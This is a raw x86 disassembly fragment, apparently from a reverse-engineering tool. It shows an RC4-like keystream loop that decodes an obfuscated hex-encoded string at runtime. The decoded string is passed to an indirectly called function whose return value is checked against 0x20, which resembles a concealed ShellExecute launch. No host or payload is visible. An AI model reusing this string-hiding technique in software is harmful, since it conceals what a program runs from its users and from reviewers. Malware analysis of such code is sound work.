mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1075], al
movzx eax, byte [ebp - 0xf5f]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xe49]
add ecx, eax
mov byte [ebp - 0xe49], cl
mov al, byte [ebp - 0xf5f]
add al, 1
mov byte [ebp - 0xf5f], al
movzx eax, byte [ebp - 0xe49]
movzx ecx, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf55]
movzx ecx, byte [ebp - 0xe49]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
movzx ecx, byte [ebp - 0xf55]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
mov cl, byte [ebp - 0x1075]
mov byte [ebp + eax - 0xf4c], cl
movzx eax, byte [ebp - 0x1075]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xf4d]
add ecx, eax
mov byte [ebp - 0xf4d], cl
movzx eax, byte [ebp - 0xfdd]
movzx ecx, byte [ebp - 0xe49]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xf5f]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
movzx ecx, byte [ebp - 0xf55]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xe39]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
movzx edx, byte [ebp - 0xf4d]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0xf55], al
mov al, byte [ebp - 0xfdd]
mov byte [ebp - 0xe39], al
mov al, byte [ebp - 0xf55]
mov byte [ebp - 0x104d], al
cmp dword [ebp - 0x1034], 0
jle 0x51e30e
movsx ax, byte [ebp - 0x104d]
mov ecx, dword [ebp - 0x1034]
mov word [ebp + ecx*2 - 0x4e6], ax
mov eax, dword [ebp - 0x1034]
inc eax
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp - 0x1030]
inc eax
mov dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0x1034]
shl eax, 1
mov dword [ebp - 0xf88], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xf88]
movzx eax, byte [eax]
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0xfcc], 0x85
mov eax, dword [ebp - 0x1034]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xff0], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xff0]
movzx eax, byte [eax]
mov dword [ebp - 0x1084], eax
mov dword [ebp - 0x1058], 0x77
mov eax, dword [ebp - 0x105c]
sub eax, dword [ebp - 0xfcc]
mov dword [ebp - 0x1080], eax
mov eax, dword [ebp - 0x1084]
sub eax, dword [ebp - 0x1058]
mov dword [ebp - 0xf94], eax
mov eax, dword [ebp - 0x1080]
shl eax, 4
mov dword [ebp - 0x107c], eax
mov eax, dword [ebp - 0xf94]
mov dword [ebp - 0x1054], eax
mov eax, dword [ebp - 0x107c]
or eax, dword [ebp - 0x1054]
mov dword [ebp - 0x1020], eax
mov al, byte [ebp - 0x1020]
mov byte [ebp - 0xfdd], al
movzx eax, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1075], al
movzx eax, byte [ebp - 0xf5f]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xe49]
add ecx, eax
mov byte [ebp - 0xe49], cl
mov al, byte [ebp - 0xf5f]
add al, 1
mov byte [ebp - 0xf5f], al
movzx eax, byte [ebp - 0xe49]
movzx ecx, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf55]
movzx ecx, byte [ebp - 0xe49]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
movzx ecx, byte [ebp - 0xf55]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
mov cl, byte [ebp - 0x1075]
mov byte [ebp + eax - 0xf4c], cl
movzx eax, byte [ebp - 0x1075]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xf4d]
add ecx, eax
mov byte [ebp - 0xf4d], cl
movzx eax, byte [ebp - 0xfdd]
movzx ecx, byte [ebp - 0xe49]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xf5f]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
movzx ecx, byte [ebp - 0xf55]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xe39]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
movzx edx, byte [ebp - 0xf4d]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0xf55], al
mov al, byte [ebp - 0xfdd]
mov byte [ebp - 0xe39], al
mov al, byte [ebp - 0xf55]
mov byte [ebp - 0x104d], al
cmp dword [ebp - 0x1034], 0
jle 0x51e564
movsx ax, byte [ebp - 0x104d]
mov ecx, dword [ebp - 0x1034]
mov word [ebp + ecx*2 - 0x4e6], ax
xor eax, eax
mov word [ebp - 0x4da], ax
jmp 0x51e5a0
and dword [ebp - 0x1088], 0
jmp 0x51e585
mov eax, dword [ebp - 0x1088]
inc eax
mov dword [ebp - 0x1088], eax
cmp dword [ebp - 0x1088], 6
jge 0x51e5a0
xor eax, eax
mov ecx, dword [ebp - 0x1088]
mov word [ebp + ecx*2 - 0x4e4], ax
jmp 0x51e578
push 1
push 0
push dword [ebp + 8]
lea ecx, [ebp - 0x4b8]
call fcn.008e8e8f
push eax
lea eax, [ebp - 0x724]
push eax
lea eax, [ebp - 0x4e4]
push eax
push 0
call dword [ebp - 0x4b4]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x1098], 0x208
lea eax, [ebp - 0x214]
mov dword [ebp - 0x1094], eax
cmp dword [ebp - 0x1098], 0
je 0x51e613
mov eax, dword [ebp - 0x1094]
mov byte [eax], 0
mov eax, dword [ebp - 0x1094]
inc eax
mov dword [ebp - 0x1094], eax
mov eax, dword [ebp - 0x1098]
dec eax
mov dword [ebp - 0x1098], eax
jmp 0x51e5e5
cmp dword [ebp - 0x4d8], 0x20
jle 0x51e62f
mov byte [ebp - 0x245], 1
mov eax, dword [ebp + 8]
push dword [eax + 8]
call dword [0x9daa30]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4b8]
call fcn.008eda92
mov al, byte [ebp - 0x245]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret